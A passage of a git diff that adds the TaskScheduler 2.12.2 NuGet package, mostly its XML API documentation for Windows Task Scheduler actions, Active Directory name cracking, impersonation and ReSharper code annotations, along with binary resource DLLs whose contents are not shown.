DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..7af3228 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ba0cb6c Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1446567 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..e9c8ea3 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b750ac3 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..5d88d55 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..a2cd972 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..62d3f51 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f212826 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ee17ffd Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0855305 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..1ffa68d Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an 